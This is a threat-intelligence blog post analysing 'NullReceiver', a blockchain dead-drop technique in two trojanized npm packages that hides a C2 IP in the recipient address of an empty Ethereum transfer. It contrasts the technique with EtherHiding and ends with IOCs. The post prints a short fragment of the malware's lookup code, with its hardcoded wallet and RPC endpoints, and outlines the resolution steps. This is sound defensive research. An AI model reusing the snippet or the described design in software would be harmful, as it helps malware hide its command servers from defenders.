BLOG
NullReceiver's Blank Crypto Transfers Solves the Challenges of EtherHiding
DPRK's new technique hides C2 IP address inside recipient of a completely empty Ethereum transfer
By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·
We just identified a new blockchain-based command-and-control technique hiding inside two trojanized npm packages, bianira-ui and fluid-type-ui. Both are DPRK-linked clones of legitimate Tailwind CSS plugins, and both use the same trick to find their command server: they read it out of the destination address of a completely blank cryptocurrency transfer.
We’re calling it NullReceiver, and we think it’s a deliberate improvement on EtherHiding.
What is NullReceiver?
NullReceiver is a blockchain-based command-and-control (C2) resolution technique used by DPRK-linked npm malware. Instead of hardcoding a C2 address or hiding it in transaction calldata (as in EtherHiding), NullReceiver encodes the C2 IP directly in the bytes of the recipient address of a zero-value, zero-data Ethereum transfer. The malware looks up the attacker's wallet, reads the destination address of its most recent outbound transaction, and decodes a C2 IP straight from those address bytes, with no smart contract and no payload field involved.

Threat Type: Blockchain-based C2 resolution technique in a Node.js RAT
Affected Ecosystem: npm (
bianira-ui@1.27.0,fluid-type-ui@2.0.8)Attribution: DPRK “Contagious Interview” campaign
What it does: Decodes its C2 IP address directly from the bytes of a made-up recipient address on a zero-value, zero-data Ethereum transfer.
Why it matters: It fixes EtherHiding’s biggest weakness — a fixed, publicly known destination address. There's no smart contract, no transaction data, nothing EtherHiding-style detections are built to catch. We think it’s a strong candidate to become the DPRK ecosystem’s default blockchain dead-drop going forward.
Malware needs a way to phone home without getting its command-and-control (C2) server blocked. Hardcode a domain or IP, and defenders can flag and kill it in minutes. So DPRK-linked operators have increasingly turned to public blockchains as dead drops — ledgers that are effectively impossible to take down, since they run on thousands of machines at once. Instead of hardcoding a C2 address, the malware looks one up on-chain at runtime.
Blockchain dead drops for malware keep getting harder to spot, and NullReceiver is the leanest version we’ve seen yet — no contract call, no payload field, just an ordinary-looking transfer with a meaningful destination address. If your detections are built around “malware talking to a smart contract” or “malware reading data out of a transaction,” this is a reminder to also watch what address the money is (supposedly) going.
We did not execute any part of these packages. All findings came from static analysis of the published npm tarballs and read-only lookups against the attacker’s own public blockchain activity.
What is EtherHiding?
EtherHiding is a blockchain-based command-and-control (C2) technique that Google Threat Intelligence tied to a DPRK-linked actor in October 2025. It works by sending a transaction to Ethereum's well-known "burn address" (0x000...dEaD, the address people typically send tokens to when they want to destroy them) and embedding the actual secret, such as a C2 URL or even a whole malicious script, inside the transaction's data field (the calldata that carries extra bytes alongside a payment). The destination address itself is meaningless; only the data field matters.
EtherHiding's main weakness is it reuses the same fixed, public burn address across every campaign. That gives defenders a permanent "landmark" to watch, which is exactly how Google's team caught it: monitor the burn address and flag anything unusual sent there. It also costs more in gas since calldata is billed per byte, though it can carry far more data (a full URL or script) than the technique described here as its successor, NullReceiver, which can only smuggle a few bytes.
What NullReceiver does differently
bianira-ui and fluid-type-ui don’t call a smart contract, and they don’t put anything in the transaction’s data field. They hide the C2 address in a place no prior public reporting describes: the recipient of an ordinary, empty transfer.
Every crypto transaction has a “from” and a “to” address — think of it like writing a check. Normally the “to” address is just wherever the money is going. With this technique, the “to” address isn’t a real destination at all. Instead, it's a made-up address that was never meant to receive anything. Its only job is to encode data in its own bytes — read the right chunk as numbers, and it spells out the current C2 IP. The malware’s logic, once running on a victim machine:
Look up a hardcoded attacker wallet
Find its most recent outbound transaction
Read that transaction’s “to” address
Decode a C2 IP address directly out of the address bytes
Connect to that IP
The transaction we recovered carries zero value and zero data ("input": "0x") — a completely mundane wallet-to-wallet transfer. There’s no contract to flag and no payload field to fingerprint. The recipient bytes decode to 166.88.134.62, and — as an added attacker fingerprint — the trailing bytes of the same address spell out the ASCII string "helloipbot!!".
In this code block, look for the following:
Detection Signature:
"A10-npm3!"Wallet Address:
"0xa322e5f3d311d3080e6f0121063e9adc2490ef1a"Blockchain RPC Lookup:
["https://1rpc.io/eth", "https://eth.drpc.org"]
global.i = "A10-npm3!", global.r = require, "object" == typeof module && (global.m = module);
let http = require("http"),
https = require("https"),
S = "0xa322e5f3d311d3080e6f0121063e9adc2490ef1a",
R = ["https://1rpc.io/eth", "https://eth.drpc.org"],
hx = t => "0x" + t.toString(16),
J = (e, o, r) => new Promise(a => {
var t = new URL(e);
https.request({
hostname: t.hostname,
path: t.pathname + t.search,
method: o || "GET"
}, t => {
let e = [];
t.on("data", t => e.push(t)), t.on("end", () => a(JSON.parse(Buffer.concat(e) + "")))
}).end(r)
}),NullReceiver vs. EtherHiding
Three things make NullReceiver the harder of the two to catch:
No fixed target. EtherHiding always goes to the same burn address, for every campaign that uses it — which is exactly how GTIG caught it: watch one address, forever, and flag anything unusual sent there. NullReceiver never reuses a destination. Every lookup is a brand-new, throwaway address that’s never been seen before.
Nothing to fingerprint. A burn-address transaction carrying calldata already looks wrong on its face, before anyone decodes it — normal burn-address transfers don’t carry payloads. A NullReceiver transaction carries nothing extra at all. There’s no field to fingerprint, because there’s no field.
It’s the cheapest transaction there is. Calldata costs gas per byte. EtherHiding pays for that. NullReceiver’s transfer is completely blank, making it the cheapest, least conspicuous transaction shape on the network.
To be fair, EtherHiding still wins on raw capacity. It can smuggle a full URL or script, where NullReceiver can only encode a few bytes. They’re not quite doing the same job: EtherHiding is closer to a hidden delivery channel, NullReceiver is closer to a hidden beacon. And both share one real weakness — the sending wallet gets reused across a campaign (the same attacker wallet sits behind both bianira-ui and fluid-type-ui), so once a defender identifies it, they can watch it going forward, same as they’d watch the burn address. The difference is what it takes to get to that point: the burn address is interesting to any blockchain-monitoring tool on day one, before anyone has seen the malware — it’s a permanent, famous landmark. An attacker’s ordinary wallet isn’t interesting to anyone until an analyst has already found the malware and gone looking for it. NullReceiver doesn’t hand defenders that day-one hook.
EtherHiding
NullReceiver
Where the secret lives
Transaction data field (calldata)
Transaction recipient address
Destination used
Fixed, public burn address (0x000...dEaD), every time
New, disposable, made-up address every lookup
Calldata
Non-empty — carries the encoded payload
Empty ("input": "0x")
Capacity
Large — a full URL or script
Small — just enough for an IP
Cost
Pays gas for every payload byte
Cheapest possible transaction shape
Pre-existing detection hook
Yes — the burn address is a known landmark; that’s how GTIG caught it
None — nothing fixed to watch before the wallet itself is already known
Why we think NullReceiver replaces EtherHiding
DPRK’s npm tooling has a consistent pattern: every time a technique gets a name and a public writeup with IOCs, its usable lifespan drops fast, and the next sample quietly fixes exactly what got it caught. Obfuscator.io strings gave way to shuffled-array encoding, then to base91 with rotating alphabets. Hardcoded C2 domains gave way to dead-drop resolvers, then to EtherHiding. NullReceiver reads like the next rung on that same ladder. It directly patches the one property of EtherHiding that made attribution possible in the first place: a fixed, watchable destination. Given this threat actor’s track record of incrementally hardening each piece of tradecraft once it’s burned, we’d bet on NullReceiver (or something close to it) showing up as the default blockchain dead-drop in future DPRK npm campaigns, with EtherHiding phased out for anything the operators care about protecting.
Indicators of Compromise (IOCs)
Malicious Packages
npm/bianira-ui@1.27.0
npm/fluid-type-ui@2.0.8
Attacker Ethereum Wallet
0xa322e5f3d311d3080e6f0121063e9adc2490ef1a
NullReceiver-Encoded Recipient Address
0xa658863ea658863e68656c6c6f6970626f742121
C2 Infrastructure
166.88.134.62:443
166.88.134.62:80